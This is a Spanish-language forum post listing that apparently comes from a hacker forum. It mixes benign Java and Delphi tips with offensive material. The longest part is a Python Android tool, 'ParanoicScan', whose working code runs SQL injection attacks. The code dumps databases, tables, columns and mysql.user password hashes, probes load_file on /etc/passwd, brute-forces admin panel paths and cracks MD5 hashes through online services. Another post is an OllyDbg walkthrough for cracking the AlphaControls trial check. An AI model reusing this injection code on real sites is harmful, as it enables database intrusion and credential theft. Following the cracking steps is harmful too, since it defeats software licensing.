Una vez encontrado el archivo build.xml lo abrimos y le agregamos esto despues de las tres primeras lineas de texto , con texto me refiero a despues de los comentarios que estan con "<!--" , el codigo a agregar es este :

Código: text

<target name="-post-jar">
<jar jarfile="dist/finished.jar">
<zipfileset src="${dist.jar}" excludes="META-INF/*" />
<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />
<manifest>
<attribute name="Main-Class" value="locateip_grafico.Locateip_graficoApp"/>
</manifest>
</jar>
</target>


En la parte de "jar jarfile=" deben agregar el nombre que tendra el archivo unico con extension jar , algo a tener en cuenta es que el nombre que usen debe ser diferente al programa en si porque si no va haber errores.

Las librerias que usan deben estar como en las siguientes lineas :

Código: text

<zipfileset src="dist/lib/appframework-1.0.3.jar" excludes="META-INF/*" />
<zipfileset src="dist/lib/swing-worker-1.1.jar" excludes="META-INF/*" />


Como ven en mi caso uso las librerias "appframework-1.0.3.jar" y "swing-worker-1.1.jar"

Lo ultimo y mas importante es modificar la siguiente linea "<attribute name=Main-Class" con el nombre que tienen como Main-Class , en el proyecto para saber cual es solo tienen que ir las propiedades del proyecto en NetBeans y ver en la parte de "Run".

Una vez modicado el archivo solo tenemos que volver a compilar el proyecto en NetBeans y contemplar el jar solo xD.

Eso seria todo.
#130
Java / Como convertir un jar a exe usando IExpress
Febrero 25, 2014, 06:21:41 PM
Hoy les traigo un video de como convertir un archivo jar a exe usando IExpress.

El video :



El manual en si :

Código: text

-> Execute "iexpress"
-> Create new Self Extraction Directive file
-> Extract files and run an installation command
-> Package title : Your title
-> No prompt
-> Do not display a license
-> Packaged files : Java Files
-> Install Program to Launch -> Install program -> java -jar <file>
-> Show window -> Hidden
-> Finished Message -> No message
-> Package Name and Options -> Enter exe name
    -> Select "Hide File Extracting Progress Animation from User"
-> Configure restart -> No restart
-> Save Self Extraction Directive -> Dont save
-> Finished


#131
Delphi / [Delphi] PirateBay Manager 0.8
Febrero 14, 2014, 04:52:19 PM
Un simple programa en Delphi para buscar torrents en PirateBay.

Una imagen :



El codigo :

Código: delphi

// PirateBay Manager 0.8
// (C) Doddy Hackman 2014

unit pirate;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, ComCtrls, sListView, sGroupBox, sListBox, ShellApi,
  sSkinManager, acPNG, ExtCtrls, sStatusBar, sEdit, sButton;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sListView1: TsListView;
    sListBox1: TsListBox;
    sListBox2: TsListBox;
    sListBox3: TsListBox;
    PerlRegEx2: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sEdit1: TsEdit;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    procedure sListView1DblClick(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  busqueda: string;
  code: string;
  nombre: string;
  link_torrent: string;
  limpiando_data: string;
  data: string;
  seeders: string;
  leechers: string;
  i: integer;

begin

  sListBox1.Clear;
  sListBox2.Clear;
  sListBox3.Clear;
  sListView1.Clear;

  busqueda := sEdit1.Text;
  busqueda := StringReplace(busqueda, ' ', '%20', [rfReplaceAll, rfIgnoreCase]);

  sStatusBar1.Panels[0].Text := '[+] Searching ...';
  sStatusBar1.Update;

  code := IdHTTP1.Get('http://thepiratebay.se/search/' + busqueda + '/0/99/0');

  sStatusBar1.Panels[0].Text := '[+] Finished';
  sStatusBar1.Update;

  PerlRegEx1.Regex :=
    '(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)';
  PerlRegEx1.Subject := code;

  while PerlRegEx1.MatchAgain do
  // if PerlRegEx1.Match then
  begin
    nombre := PerlRegEx1.SubExpressions[2];
    link_torrent := 'magnet' + PerlRegEx1.SubExpressions[4];
    limpiando_data := PerlRegEx1.SubExpressions[6];
    seeders := PerlRegEx1.SubExpressions[8];
    leechers := PerlRegEx1.SubExpressions[10];

    PerlRegEx2.Regex := '(.*), ULed by <';
    PerlRegEx2.Subject := limpiando_data;

    if PerlRegEx2.Match then
    begin
      limpiando_data := PerlRegEx2.SubExpressions[1];
      data := StringReplace(limpiando_data, '&nbsp;', '', [rfReplaceAll,
        rfIgnoreCase]);
      data := data + ', Seeders ' + seeders + ', Leechers ' + leechers;

    end;

    sListBox1.Items.Add(nombre);
    sListBox2.Items.Add(data);
    sListBox3.Items.Add(link_torrent);

  end;

  for i := 0 to sListBox1.Count - 1 do
  begin
    // ShowMessage(IntToStr(i));
    with sListView1.Items.Add do
    begin
      Caption := sListBox1.Items[i];
      SubItems.Add(sListBox2.Items[i]);
    end;
  end;
end;

procedure TForm1.sListView1DblClick(Sender: TObject);
begin
  // ShowMessage(sListBox3.Items[sListView1.Selected.Index]);
  ShellExecute(0, nil, PChar(sListBox3.Items[sListView1.Selected.Index]), nil,
    nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#132
Delphi / [Delphi] Crackear componente AlphaControls
Febrero 13, 2014, 06:20:26 PM
Hola hice un manual para crackear los programas en delphi en los que usaron el componente alphacontrols , en realidad solo saca la molesta ventana en la que nos dice
"gracias por usar alphacontrol" o algo asi pero es la idea xD.
El programa que uso para esto es OLLYDBG.

El video :



El manual en si :

Código: text

-- == Crackear componente AlphaControls de Delphi == --

- En Español -

1 - Click derecho -> Search for -> All referenced text strings
2 - Click derecho -> Search for text "Trial" y seleccionen solo "Entire scope"
  - Usen Control + L para seguir buscando
3 - Seleccionen y doble click en "Trial version of the AlphaControls"
4 - Seleccionen el "JNZ" que se encuentra arriba de la linea por defecto , hagan doble click para cambiar el "JNZ" por "JMP"
5 - Seleccionen el "JMP SHORT" recien cambiado , hagan doble click y seleccionen "Copy to executable"
6 - Hagan doble click y seleccionen "Save File"
7 - Guarden el ejecutable con el nombre que quieran

- In English -

1 - Right Click -> Search for -> All referenced text strings
2 - Right Click -> Search for text "Trial" and select only "Entire scope"
  - Control + L for next
3 - Select and Double Click in "Trial version of the AlphaControls"
4 - Select "JNZ" and change for "JMP"
5 - Select JMP SHORT , double click and select "Copy to executable"
6 - Double Click and "Save File"
7 - Save the file with any name

-- == The End ? == --


Supongo que eso es todo.
#133
Hola tengo un problema cuando quiero guardar un rectangulo redondeado , cuando guardo normalmente se ve bien pero cuando lo guardo para web arruina los bordes del rectangulo volviendose blancos como la imagen :



lo raro es que siempre lo hago como transparente.

¿ como arreglo esto ?
#134
hola queria preguntar si alguien me podria recomendar alguna fuente de dafont para usar como texto de una tablet o computadora en vez de usar la normal.

¿alguien conoce alguna ?
#135
Python / [Python-Android] ParanoicScan 0.3
Febrero 03, 2014, 10:17:40 AM
Un simple script en python para android , el cual lo uso en mi tablet , el script tiene las siguientes funciones :

  • Scannea en bing buscando SQLI
  • Un completo scanner SQLI
  • Buscador de panel de administracion
  • Codificador de MD5
  • Codificador y Decodificador de Base64 y Hex
  • Localizador de IP y sus DNS
  • Crackeador de para hashes MD5
  • HTTP FingerPrinting

    Unas imagenes :























    El codigo :

    Código: python

    #!usr/bin/python
    # -*- coding: utf-8 -*-
    #################################################################################
    #This software is Copyright (c) 2014 by Doddy Hackman.
    #
    #This is free software, licensed under:
    #
    #  The Artistic License 1.0
    #
    #The Artistic License
    #
    #Preamble
    #
    #The intent of this document is to state the conditions under which a Package
    #may be copied, such that the Copyright Holder maintains some semblance of
    #artistic control over the development of the package, while giving the users of
    #the package the right to use and distribute the Package in a more-or-less
    #customary fashion, plus the right to make reasonable modifications.
    #
    #Definitions:
    #
    #  - "Package" refers to the collection of files distributed by the Copyright
    #    Holder, and derivatives of that collection of files created through
    #    textual modification.
    #  - "Standard Version" refers to such a Package if it has not been modified,
    #    or has been modified in accordance with the wishes of the Copyright
    #    Holder.
    #  - "Copyright Holder" is whoever is named in the copyright or copyrights for
    #    the package.
    #  - "You" is you, if you're thinking about copying or distributing this Package.
    #  - "Reasonable copying fee" is whatever you can justify on the basis of media
    #    cost, duplication charges, time of people involved, and so on. (You will
    #    not be required to justify it to the Copyright Holder, but only to the
    #    computing community at large as a market that must bear the fee.)
    #  - "Freely Available" means that no fee is charged for the item itself, though
    #    there may be fees involved in handling the item. It also means that
    #    recipients of the item may redistribute it under the same conditions they
    #    received it.
    #
    #1. You may make and give away verbatim copies of the source form of the
    #Standard Version of this Package without restriction, provided that you
    #duplicate all of the original copyright notices and associated disclaimers.
    #
    #2. You may apply bug fixes, portability fixes and other modifications derived
    #from the Public Domain or from the Copyright Holder. A Package modified in such
    #a way shall still be considered the Standard Version.
    #
    #3. You may otherwise modify your copy of this Package in any way, provided that
    #you insert a prominent notice in each changed file stating how and when you
    #changed that file, and provided that you do at least ONE of the following:
    #
    #  a) place your modifications in the Public Domain or otherwise make them
    #     Freely Available, such as by posting said modifications to Usenet or an
    #     equivalent medium, or placing the modifications on a major archive site
    #     such as ftp.uu.net, or by allowing the Copyright Holder to include your
    #     modifications in the Standard Version of the Package.
    #
    #  b) use the modified Package only within your corporation or organization.
    #
    #  c) rename any non-standard executables so the names do not conflict with
    #     standard executables, which must also be provided, and provide a separate
    #     manual page for each non-standard executable that clearly documents how it
    #     differs from the Standard Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #4. You may distribute the programs of this Package in object code or executable
    #form, provided that you do at least ONE of the following:
    #
    #  a) distribute a Standard Version of the executables and library files,
    #     together with instructions (in the manual page or equivalent) on where to
    #     get the Standard Version.
    #
    #  b) accompany the distribution with the machine-readable source of the Package
    #     with your modifications.
    #
    #  c) accompany any non-standard executables with their corresponding Standard
    #     Version executables, giving the non-standard executables non-standard
    #     names, and clearly documenting the differences in manual pages (or
    #     equivalent), together with instructions on where to get the Standard
    #     Version.
    #
    #  d) make other distribution arrangements with the Copyright Holder.
    #
    #5. You may charge a reasonable copying fee for any distribution of this
    #Package.  You may charge any fee you choose for support of this Package. You
    #may not charge a fee for this Package itself. However, you may distribute this
    #Package in aggregate with other (possibly commercial) programs as part of a
    #larger (possibly commercial) software distribution provided that you do not
    #advertise this Package as a product of your own.
    #
    #6. The scripts and library files supplied as input to or produced as output
    #from the programs of this Package do not automatically fall under the copyright
    #of this Package, but belong to whomever generated them, and may be sold
    #commercially, and may be aggregated with this Package.
    #
    #7. C or perl subroutines supplied by you and linked into this Package shall not
    #be considered part of this Package.
    #
    #8. The name of the Copyright Holder may not be used to endorse or promote
    #products derived from this software without specific prior written permission.
    #
    #9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
    #WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
    #MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
    #
    #The End
    #
    #################################################################################
    #Paranoic Scan 0.3
    #Android Version
    #(C) Doddy Hackman 2014
    #################################################################################

    import android,urllib2,socket,binascii,re,base64,hashlib

    webvul = ""

    # Functions

    def hexencoder(texto):
    return "[+] Result : "+"0x"+str(binascii.hexlify(texto))

    def hexdecoder(texto):
    text = re.sub("0x","",texto)
    return "[+] Result : "+binascii.unhexlify(text)

    def base64encoder(texto):
    return "[+] Result : "+base64.b64encode(texto)

    def base64decoder(texto):
    return "[+] Result : "+base64.b64decode(texto)

    def md5encoder(texto):
    return "[+] Result : "+hashlib.md5(texto).hexdigest()

    def reem(texto,parte):
    return re.sub(parte,"hackman",texto)

    def regexver(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
      return True
    else:
      return False

    def regexdar(code):
    if (re.findall("K0BRA(.*?)K0BRA",code)):
      return re.findall("K0BRA(.*?)K0BRA",code)[0]

    def toma(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).read()

    def tomar(web,vars) :
    nave = urllib2.build_opener()
    nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
    return nave.open(web,vars).read()

    def getdata(web) :
    nave = urllib2.Request(web)
    nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
    op = urllib2.build_opener()
    return op.open(nave).info()

    def bypass(bypass):
    if bypass == "--":
      return("+","--")
    elif bypass == "/*":
      return("/**/","/**/")
    else:
      return("+","--")
     
    def showtables(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    respuesta = respuesta + "[+] Searching tables ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Tables Found : "+numbers+"\n\n"
      for counter in range(17,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        table = re.findall("K0BRA(.*?)K0BRA",code2)
        table = table[0]
        respuesta = respuesta + "[Table Found] : "+table+"\n"
    else:
      respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumns(web,tabla):
    respuesta = ""
    pass1,pass2 = bypass("--")
    tabla2 = tabla
    tabla = "0x"+str(binascii.hexlify(tabla))
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
    respuesta = respuesta + "[+] Searching columns ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Columns Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        column = re.findall("K0BRA(.*?)K0BRA",code2)
        column = column[0]
        respuesta = respuesta + "\n[Column Found in table "+str(tabla2)+"] : "+str(column)
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showdbs(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
    respuesta = respuesta + "[+] Searching DBS ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] DBS Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        db = re.findall("K0BRA(.*?)K0BRA",code2)
        db = db[0]
        respuesta = respuesta + "\n[DB Found] : "+db
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def dumper(web,table,col1,col2):
    respuesta = ""
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
    code1 = toma(web1+pass1+"from"+pass1+table+pass2)
    respuesta = respuesta + "[+] Searching values ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Values Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        c1 = re.findall("K0BRA(.*?)K0BRA",code2)
        c1 = c1[0]
        c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
        c2 = c2[0]
        respuesta = respuesta + "\n["+col1+"] : "+c1+"\n"
        respuesta = respuesta + "["+col2+"] : "+c2+"\n"
    else:
      respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def mysqluser(web):
    pass1,pass2 = bypass("--")
    respuesta = ""
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    respuesta = respuesta + "[+] Searching mysql.user ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Users Found : "+numbers+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        host = re.findall("K0BRA(.*?)K0BRA",code2)
        host = host[0]
        user = re.findall("K0BRA1(.*?)K0BRA1",code2)
        user = user[0]
        passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
        passw = passw[0]
        respuesta = respuesta + "\n[Host] : "+host
        respuesta = respuesta + "\n[User] : "+user
        respuesta = respuesta + "\n[Pass] : "+passw+"\n"   
    else:
      respuesta = respuesta + "[-] Not Found\n"
    respuesta = respuesta + "\n[+] Finished"
    return respuesta

    def showcolumnsdb(web,db,table):
    respuesta = ""
    db2 = db
    table2 = table
    db = "0x"+str(binascii.hexlify(db))
    table = "0x"+str(binascii.hexlify(table))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching columns in DB ...\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "\n[+] Columns Found : "+str(numbers)+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        column = re.findall("K0BRA(.*?)K0BRA",code2)
        column = column[0]
        respuesta = respuesta + "\n[Column Found] : "+str(column)
    else:
      respuesta = respuesta + "\n[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def showtablesdb(web,db):
    respuesta = ""
    db2 = db
    db = "0x"+str(binascii.hexlify(db))
    pass1,pass2 = bypass("--")
    web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
    code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)
    respuesta = respuesta + "[+] Searching tables in DB ...\n\n"
    if (re.findall("K0BRA(.*?)K0BRA",code1)):
      numbers = re.findall("K0BRA(.*?)K0BRA",code1)
      numbers = numbers[0]
      respuesta = respuesta + "[+] Tables Found : "+str(numbers)+"\n"
      for counter in range(0,int(numbers)):
       code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
       if (re.findall("K0BRA(.*?)K0BRA",code2)):
        table = re.findall("K0BRA(.*?)K0BRA",code2)
        table = table[0]
        respuesta = respuesta + "\n[Table Found] : "+table
    else:
      respuesta = respuesta + "[-] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def more(web):
    respuesta = ""
    pass1,pass2 = bypass("--")
    otraweb = web
    respuesta = respuesta + "[+] Searching DB Details ...\n"
    hextest = "0x2f6574632f706173737764"
    web1 = re.sub("hackman","unhex(hex(concat(0x334d50335a3452,0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241,0x334d50335a3452)))",web)
    web2 = re.sub("hackman","unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))",otraweb)
    code0 = toma(web1+pass2)
    if (re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)):
      datax = re.findall("3MP3Z4R(.*?)3MP3Z4R",code0)
      datar = re.split("K0BRA",datax[0])
      respuesta = respuesta + "\n[+] Username : "+datar[1]
      respuesta = respuesta + "\n[+] Database : "+datar[2]
      respuesta = respuesta + "\n[+] Version : "+datar[3]+"\n"

    code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    if (re.findall("K0BRA",code1)):
       respuesta = respuesta + "\n[+] mysql.user : on"
    code2 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    if (re.findall("K0BRA",code2)):
       respuesta = respuesta + "\n[+] information_schema.tables : on"
    codetres = toma(web2)
    if (re.findall("ERTOR854",codetres)):
      respuesta = respuesta + "\n[+] load_file() : on"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def httpfinger(target):
    respuesta = ""
    try:
      respuesta = respuesta + str(getdata(target))
    except:
      respuesta = respuesta + "[-] Error"
    return respuesta

    def scanpanel(web):
    contador = 0
    panels=['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
    respuesta = ""
    respuesta = respuesta + "[+] Scanning ...\n"
    for path in panels:
      try:
       toma(web+"/"+path)
       respuesta = respuesta + "\n[+] Link : "+web+"/"+path
       contador = contador + 1
      except urllib2.URLError, e:
       pass

    if(contador==0) :
      respuesta = respuesta + "\n[+] Not Found"
    respuesta = respuesta + "\n\n[+] Finished"
    return respuesta

    def crackmd5(md5) :
    respuesta = ""
    code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
    if (re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)):
      rex = re.findall("<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>",code)
      return "[+] Hash : "+rex[0][1]
    else:
      code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
      if (re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)):
       rex = re.findall("Decrypted Text: <\/b>(.*?)<\/font>",code)
       return "[+] Hash : "+rex[0]
      else:
       code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
       if (re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)):
        rex = re.findall("<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>",code)
        return "[+] Hash : "+rex[0]
       else:
        return "[+] Hash : Not Found"
    return respuesta

    def locateip(pagina):

    respuesta = ""

    ip = socket.gethostbyname(str(pagina))
    code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)

    respuesta = respuesta + "[++] IP Address Location\n"

    if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      city = rex[0][1]
      respuesta = respuesta + "\n[++] City : "+city
    else:
      respuesta = respuesta + "\n[++] City : Not Found"

    if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      country = rex[0][1]
      respuesta = respuesta + "\n[++] Country : "+country
    else:
      respuesta = respuesta + "\n[++] Country : Not Found"
     
    if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
      rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
      state = rex[0][1]
      respuesta = respuesta + "\n[++] State : "+state
    else:
      respuesta = respuesta + "\n[++] State : Not Found"


